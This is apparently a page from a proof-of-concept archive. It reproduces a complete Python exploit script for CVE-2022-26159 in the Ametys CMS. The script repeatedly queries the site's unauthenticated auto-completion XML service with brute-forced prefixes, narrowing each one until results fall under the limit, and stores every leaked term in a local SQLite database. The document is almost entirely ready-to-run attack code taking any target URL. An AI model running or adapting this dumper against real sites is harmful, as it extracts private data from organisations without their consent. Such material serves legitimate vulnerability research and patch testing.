4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-26159-Ametys-Autocompletion-XML.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          : CVE-2022-26159-Ametys-Autocompletion-XML.py
# Author             : Podalirius (@podalirius_)
# Date created       : 21 Feb 2022

import os
import xml.etree.ElementTree as ET
import argparse
import requests
import urllib
import datetime
import time
import sqlite3
import sys


def query_path_increment(query_path, alphabet):
    query_path[-1] += 1
    for k in range(len(query_path)):
        if query_path[-1] == len(alphabet):
            query_path.pop()
            if len(query_path) > 0:
                query_path[-1] += 1


class AmetysAutocompletionDumper(object):
    """
    Documentation for class AmetysAutocompletionDumper
    """

    def __init__(self, target, headers={}, logfile=None, db_filename="autocompletion.db", delay_between_requests=0, max_results=None, verify=False, quiet=False, nocolors=False, verbose=False):
        super(AmetysAutocompletionDumper, self).__init__()
        self.verbose = verbose
        self.quiet = quiet
        self.nocolors = nocolors
        # HTTP options
        self.target = target
        if not self.target.startswith("http://") and not self.target.startswith("https://"):
            self.target = "http://" + self.target
        self.headers = headers
        self.verify = verify
        self.session = None
        self.delay_between_requests = delay_between_requests
        # Out files
        self.db_filename = db_filename
        self.logfile = logfile
        if self.logfile is not None:
            open(self.logfile, "w").close()
        # Max results
        self.max_results = max_results
        self.db_init()

    def db_init(self):
        if os.path.exists(self.db_filename):
            os.remove(self.db_filename)
        conn = sqlite3.connect(self.db_filename)
        cursor = conn.cursor()
        cursor.execute("CREATE TABLE items(v TEXT)")
        conn.commit()
        conn.close()
        return None

    def db_store_results(self, results):
        conn = sqlite3.connect(self.db_filename)
        cursor = conn.cursor()
        for entry in results:
            cursor.execute("INSERT OR IGNORE INTO items(v) VALUES(?)", (entry,))
            conn.commit()
        conn.close()
        return None

    def dump(self):
        self.session = requests.Session()

        if self.max_results is None:
            self.log("[+] Autodetecting max results limit from empty query to XML file ...")
            r = self.session.get('%s/plugins/web/service/search/auto-completion/poc/en.xml' % self.target, headers=self.headers, verify=self.verify)
            nodes = [child for child in ET.fromstring(r.content) if child.tag == 'item' and child.text is not None]
            self.max_results = len(nodes)
            self.log("[+] Detected maximum output is %d results.\n" % self.max_results)

        self.log("[+] Parsing /plugins/web/service/search/auto-completion/")
        self.log("[+] Started at %s " % datetime.datetime.now().strftime("%Y-%m-%d %Hh %Mm %Ss"))

        alphabet = "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ0123456789.-/="

        query_path = [0]
        while query_path != [alphabet[-1], alphabet[-1]]:
            time.sleep(self.delay_between_requests)
            query = ''.join([alphabet[k] for k in query_path])
            print('\r[>] Query = %-20s ' % query.ljust(15), end="")
            sys.stdout.flush()
            results = self.auto_completion_search(query)
            if results is None:
                if self.nocolors:
                    pretty_letter = '%s%s' % (query[:-1], query[-1])
                    print('\r[>] Query = %-49s  >= %d, Too much results, narrowing request ... ' % (pretty_letter, self.max_results))
                    sys.stdout.flush()
                else:
                    pretty_letter = '\x1b[92m%s\x1b[0m\x1b[93m%s\x1b[0m' % (query[:-1], query[-1])
                    print('\r[>] Query = %-49s  >= %d, \x1b[1;91mToo much results\x1b[0m, narrowing request ... ' % (pretty_letter, self.max_results))
                    sys.stdout.flush()
                self.log('[>] Query = %-49s  >= %d, Too much results, narrowing request ... ' % ('%s%s'%(query[:-1], query[-1]), self.max_results), doprint=False)
                query_path.append(0)
            else:
                if len(results) != 0:
                    if self.nocolors:
                        pretty_letter = '%s%s' % (query[:-1], query[-1])
                        print('\r[>] Query = %-49s  %d results added !' % (pretty_letter, len(results)))
                        sys.stdout.flush()
                    else:
                        pretty_letter = '\x1b[92m%s\x1b[0m\x1b[93m%s\x1b[0m' % (query[:-1], query[-1])
                        print('\r[>] Query = %-49s  \x1b[1;92m%d results added !\x1b[0m' % (pretty_letter, len(results)))
                        sys.stdout.flush()
                    self.log('[>] Query = %-49s  %d results added !' % ('%s%s'%(query[:-1], query[-1]), len(results)), doprint=False)
                self.db_store_results(results)
                query_path_increment(query_path, alphabet)
        self.log("[+] Ended at %s " % datetime.datetime.now().strftime("%Y-%m-%d %Hh %Mm %Ss"))

    def log(self, message, doprint=True):
        print(message)
        if self.logfile is not None:
            f = open(self.logfile, "a")
            f.write(message + "\n")
            f.close()

    def auto_completion_search(self, query):
        r = self.session.get('%s/plugins/web/service/search/auto-completion/poc/en.xml?q=%s' % (self.target, urllib.parse.quote(query)), headers=self.headers, verify=self.verify)
        nodes = [child for child in ET.fromstring(r.content) if child.tag == 'item' and child.text is not None]

        if len(nodes) >= self.max_results:
            return None
        else:
            data = []
            for child in nodes:
                if child.tag == 'item' and child.text is not None:
                    data.append(child.text)
                time.sleep(self.delay_between_requests)
            return data


def parseArgs():
    print("%30s - by @podalirius\n" % "CVE-2022-26159-Ametys-Autocompletion-XML v1.1")
    parser = argparse.ArgumentParser(description="Description message")
    parser.add_argument("-t", "--target", default=None, required=True, help='arg1 help message')

    parser.add_argument("-H", "--header", default=[], dest="headers", action="append", required=False, help='Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")')
    parser.add_argument("-k", "--insecure", default=False, action="store_true", help='Disable SSL/TLS warnings and certificate verification.')

    group_verbosity = parser.add_mutually_exclusive_group(required=False)
    group_verbosity.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)')
    group_verbosity.add_argument("-q", "--quiet", default=False, action="store_true", help='Quiet mode. (default: False)')

    parser.add_argument("--no-colors", dest="colors", action="store_true", default=False, help="Disables colored output. (default: False)")

    return parser.parse_args()


if __name__ == '__main__':
    options = parseArgs()

    if options.insecure:
        # Disable warings of insecure connection for invalid certificates
        requests.packages.urllib3.disable_warnings()
        # Allow use of deprecated and weak cipher methods
        requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
        try:
            requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
        except AttributeError:
            pass

    aad = AmetysAutocompletionDumper(
        options.target,
        headers=options.headers,
        nocolors=options.colors,
        verbose=options.verbose,
        verify=(not options.insecure),
        quiet=options.quiet
    )
    aad.dump()